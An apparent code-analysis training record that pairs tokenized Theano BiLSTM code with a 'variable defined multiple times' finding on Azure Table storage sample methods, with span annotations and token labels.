"[_", "outputs_", ",_", "memori", "es_", "]_", ",_", "updates_", "=_", "theano_", "._", "scan_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "forward", "\\u", "step_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sequences_", "=_", "[_", "xi_", ",_", "xf_", ",_", "xo", "_", ",_", "xc_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output", "s", "\\u", "info_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "non", "\\u", "sequences_", "=_", "[_", "self_", "._", "U", "\\u", "i_", ",_", "self_", "._", "U", "\\u", "f_", ",_", "self_", "._", "U", "\\u", "o_", ",_", "self_", "._", "U", "\\u", "c_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "truncat", "e\\u", "gradient_", "=_", "self_", "._", "truncat", "e\\u", "gradient_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "outputs_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "back", "ward", "\\u", "output_", "(_", "self_", ",_", "state", "\\u", "below_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", "=_", "state", "\\u", "below_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xi_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "Wb", "\\u", "i_", ")_", "+_", "self_", "._", "bb", "\\u", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xf_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "Wb", "\\u", "f_", ")_", "+_", "self_", "._", "bb", "\\u", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "Wb", "\\u", "c_", ")_", "+_", "self_", "._", "bb", "\\u", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xo", "_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "Wb", "\\u", "o_", ")_", "+_", "self_", "._", "bb", "\\u", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "outputs_", ",_", "memori", "es_", "]_", ",_", "updates_", "=_", "theano_", "._", "scan_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "forward", "\\u", "step_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sequences_", "=_", "[_", "xi_", ",_", "xf_", ",_", "xo", "_", ",_", "xc_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output", "s", "\\u", "info_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "non", "\\u", "sequences_", "=_", "[_", "self_", "._", "Ub", "\\u", "i_", ",_", "self_", "._", "Ub", "\\u", "f_", ",_", "self_", "._", "Ub", "\\u", "o_", ",_", "self_", "._", "Ub", "\\u", "c_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "go", "\\u", "backwards_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "truncat", "e\\u", "gradient_", "=_", "self_", "._", "truncat", "e\\u", "gradient_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "outputs_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "train", "\\u", "fpro", "p_", "(_", "self_", ",_", "state", "\\u", "below_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "forward_", "=_", "self_", "._", "get", "\\u", "forward", "\\u", "output_", "(_", "state", "\\u", "below_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backward_", "=_", "self_", "._", "get", "\\u", "back", "ward", "\\u", "output_", "(_", "state", "\\u", "below_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "output", "\\u", "mode_", "==_", "'", "sum", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "forward_", "+_", "backward_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "output", "\\u", "mode_", "==_", "'", "conc", "at", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "T_", "._", "concatenate_", "(_", "[_", "forward_", ",_", "backward_", "]_", ",_", "axis_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "output", " ", "mode", " ", "is", " ", "not", " ", "sum", " ", "or", " ", "conc", "at", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "return", "\\u", "sequences_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "output_", "[_", ":_", ",_", "self_", "._", "return", "\\u", "idx_", ",_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "return", "\\u", "sequences_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "Une", "xpe", "cte", "d", " ", "output", " ", "shape", " ", "for", " ", "return", "\\u", "sequence", "s", "'_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
Azure/azure-storage-python/samples/table/table_usage.py
[ { "content": " def create_table(self): \n # Basic\n table_name1 = self._get_table_reference()\n created = self.service.create_table(table_name1) # True\n\n # Fail on exist\n table_name2 = self._get_table_reference()\n created = self.service.create_table(table_name2) # True \n created = self.service.create_table(table_name2) # False\n try:\n self.service.create_table(table_name2, fail_on_exist=True)\n except AzureConflictHttpError:\n pass\n\n self.service.delete_table(table_name1)\n self.service.delete_table(table_name2)", "metadata": "root.TableSamples.create_table", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 74 }, { "content": " def delete_table(self):\n # Basic\n table_name = self._create_table()\n deleted = self.service.delete_table(table_name) # True \n\n # Fail not exist\n table_name = self._get_table_reference()\n deleted = self.service.delete_table(table_name) # False\n try:\n self.service.delete_table(table_name, fail_not_exist=True)\n except AzureMissingResourceHttpError:\n pass", "metadata": "root.TableSamples.delete_table", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 91 }, { "content": " def exists(self):\n table_name = self._get_table_reference()\n\n # Does not exist\n exists = self.service.exists(table_name) # False\n\n # Exists\n self.service.create_table(table_name)\n exists = self.service.exists(table_name) # True\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.exists", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 104 }, { "content": " def insert_entity(self):\n table_name = self._create_table()\n\n # Basic w/ dict\n entity = self.create_entity_dict()\n etag = self.service.insert_entity(table_name, entity)\n\n # Basic w/ class\n entity = self.create_entity_class()\n etag = self.service.insert_entity(table_name, entity)\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.insert_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 248 }, { "content": " def update_entity(self):\n table_name = self._create_table()\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': False,\n 'birthday': datetime(1991, 10, 4)}\n etag = self.service.insert_entity(table_name, entity)\n\n # Basic\n # Replaces entity entirely\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': True}\n etag = self.service.update_entity(table_name, entity)\n received_entity = self.service.get_entity(table_name, entity['PartitionKey'], entity['RowKey'])\n received_entity.get('deceased') # True\n received_entity.get('birthday') # None\n\n # If match\n # Replaces entity entirely if etag matches\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'id': 'abc12345'}\n\n self.service.update_entity(table_name, entity, if_match=etag) # Succeeds\n try:\n self.service.update_entity(table_name, entity, if_match=etag) # Throws as previous update changes etag\n except AzureHttpError:\n pass\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.update_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 308 }, { "content": " def merge_entity(self):\n table_name = self._create_table()\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': False,\n 'birthday': datetime(1991, 10, 4)}\n etag = self.service.insert_entity(table_name, entity)\n\n # Basic\n # Replaces entity entirely\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': True}\n etag = self.service.merge_entity(table_name, entity)\n received_entity = self.service.get_entity(table_name, entity['PartitionKey'], entity['RowKey'])\n received_entity.get('deceased') # True\n received_entity.get('birthday') # datetime(1991, 10, 4)\n\n # If match\n # Merges entity if etag matches\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'id': 'abc12345'}\n\n self.service.merge_entity(table_name, entity, if_match=etag) # Succeeds\n try:\n self.service.merge_entity(table_name, entity, if_match=etag) # Throws as previous update changes etag\n except AzureHttpError:\n pass\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.merge_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 340 }, { "content": " def insert_or_merge_entity(self):\n table_name = self._create_table()\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': False,\n 'birthday': datetime(1991, 10, 4)}\n\n # Basic\n # Inserts if entity does not already exist\n etag = self.service.insert_or_merge_entity(table_name, entity)\n\n # Merges if entity already exists\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'id': 'abc12345'}\n etag = self.service.insert_or_merge_entity(table_name, entity)\n received_entity = self.service.get_entity(table_name, entity['PartitionKey'], entity['RowKey'])\n received_entity.get('id') # 'abc12345'\n received_entity.get('deceased') # False\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.insert_or_merge_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 372 }, { "content": " def insert_or_replace_entity(self):\n table_name = self._create_table()\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'deceased': False,\n 'birthday': datetime(1991, 10, 4)}\n\n # Basic\n # Inserts if entity does not already exist\n etag = self.service.insert_or_replace_entity(table_name, entity)\n\n # Replaces if entity already exists\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'id': 'abc12345'}\n etag = self.service.insert_or_replace_entity(table_name, entity)\n received_entity = self.service.get_entity(table_name, entity['PartitionKey'], entity['RowKey'])\n received_entity.get('id') # 'abc12345'\n received_entity.get('deceased') # None\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.insert_or_replace_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 394 }, { "content": " def delete_entity(self):\n table_name = self._create_table()\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe'}\n etag = self.service.insert_entity(table_name, entity)\n\n # Basic\n # Deletes entity\n self.service.delete_entity(table_name, entity['PartitionKey'], entity['RowKey'])\n\n # If match\n # Deletes entity only if etag matches\n entity = {'PartitionKey': 'John',\n 'RowKey': 'Doe',\n 'id': 'abc12345'}\n etag = self.service.insert_entity(table_name, entity)\n self.service.update_entity(table_name, entity, if_match=etag) # Succeeds\n try:\n self.service.delete_entity(table_name, entity['PartitionKey'], entity['RowKey'], if_match=etag) # Throws as update changes etag\n except AzureHttpError:\n pass\n\n self.service.delete_table(table_name)", "metadata": "root.TableSamples.delete_entity", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 416 }, { "content": " def service_properties(self):\n # Basic\n self.service.set_table_service_properties(logging=Logging(delete=True), \n hour_metrics=Metrics(enabled=True, include_apis=True), \n minute_metrics=Metrics(enabled=True, include_apis=False), \n cors=[CorsRule(allowed_origins=['*'], allowed_methods=['GET'])])\n\n # Wait 30 seconds for settings to propagate\n time.sleep(30)\n\n props = self.service.get_table_service_properties() # props = ServiceProperties() w/ all properties specified above\n\n # Omitted properties will not overwrite what's already on the self.service\n # Empty properties will clear\n self.service.set_table_service_properties(cors=[])\n\n # Wait 30 seconds for settings to propagate\n time.sleep(30)\n\n props = self.service.get_table_service_properties() # props = ServiceProperties() w/ CORS rules cleared", "metadata": "root.TableSamples.service_properties", "header": "['class', 'TableSamples', '(', ')', ':', '___EOS___']", "index": 459 } ]
[ { "span": "created ", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 15 }, { "span": "created ", "start_line": 81, "start_column": 8, "end_line": 81, "end_column": 15 }, { "span": "deleted ", "start_line": 94, "start_column": 8, "end_line": 94, "end_column": 15 }, { "span": "exists ", "start_line": 108, "start_column": 8, "end_line": 108, "end_column": 14 }, { "span": "etag ", "start_line": 253, "start_column": 8, "end_line": 253, "end_column": 12 }, { "span": "etag ", "start_line": 314, "start_column": 8, "end_line": 314, "end_column": 12 }, { "span": "etag ", "start_line": 346, "start_column": 8, "end_line": 346, "end_column": 12 }, { "span": "etag ", "start_line": 381, "start_column": 8, "end_line": 381, "end_column": 12 }, { "span": "etag ", "start_line": 403, "start_column": 8, "end_line": 403, "end_column": 12 }, { "span": "etag ", "start_line": 420, "start_column": 8, "end_line": 420, "end_column": 12 }, { "span": "props ", "start_line": 469, "start_column": 8, "end_line": 469, "end_column": 13 } ]
[ { "span": "created ", "start_line": 82, "start_column": 8, "end_line": 82, "end_column": 15 }, { "span": "deleted ", "start_line": 98, "start_column": 8, "end_line": 98, "end_column": 15 }, { "span": "exists ", "start_line": 112, "start_column": 8, "end_line": 112, "end_column": 14 }, { "span": "etag ", "start_line": 257, "start_column": 8, "end_line": 257, "end_column": 12 }, { "span": "etag ", "start_line": 321, "start_column": 8, "end_line": 321, "end_column": 12 }, { "span": "etag ", "start_line": 353, "start_column": 8, "end_line": 353, "end_column": 12 }, { "span": "etag ", "start_line": 387, "start_column": 8, "end_line": 387, "end_column": 12 }, { "span": "etag ", "start_line": 409, "start_column": 8, "end_line": 409, "end_column": 12 }, { "span": "etag ", "start_line": 431, "start_column": 8, "end_line": 431, "end_column": 12 }, { "span": "props ", "start_line": 478, "start_column": 8, "end_line": 478, "end_column": 13 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "table_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name1_", "=_", "self_", "._", "\\u", "get", "\\u", "table", "\\u", "reference_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "self_", "._", "service_", "._", "create", "\\u", "table_", "(_", "table", "\\u", "name1_", ")_", "#", " ", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fail", " ", "on", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "table", "\\u", "name2_", "=_", "self_", "._", "\\u", "get", "\\u", "table", "\\u", "reference_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "self_", "._", "service_", "._", "create", "\\u", "table_", "(_", "table", "\\u", "name2_", ")_", "#", " ", "Tru", "e", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "self_", "._", "service_", "._", "create", "\\u", "table_", "(_", "table", "\\u", "name2_", ")_", "#", " ", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "create", "\\u", "table_", "(_", "table", "\\u", "name2_", ",_", "fail", "\\u", "on", "\\u", "exist_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Az", "ure", "Confl", "ict", "Http", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "table_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deleted_", "=_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "#", " ", "Tru", "e", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fail", " ", "not", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "table", "\\u", "reference_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deleted_", "=_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "#", " ", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ",_", "fail", "\\u", "not", "\\u", "exist_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Az", "ure", "Missing", "Reso", "urc", "e", "Http", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "table", "\\u", "reference_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Do", "es", " ", "not", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "exists_", "=_", "self_", "._", "service_", "._", "exists_", "(_", "table", "\\u", "name_", ")_", "#", " ", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exists_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "create", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exists_", "=_", "self_", "._", "service_", "._", "exists_", "(_", "table", "\\u", "name_", ")_", "#", " ", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "insert", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic", " ", "w", "/", " ", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "self_", "._", "create", "\\u", "entity", "\\u", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic", " ", "w", "/", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "self_", "._", "create", "\\u", "entity", "\\u", "class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "birthday", "'_", ":_", "datetime_", "(_", "1991", "_", ",_", "10_", ",_", "4_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", "s", " ", "entity", " ", "entire", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "True_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "update", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "=_", "self_", "._", "service_", "._", "get", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", 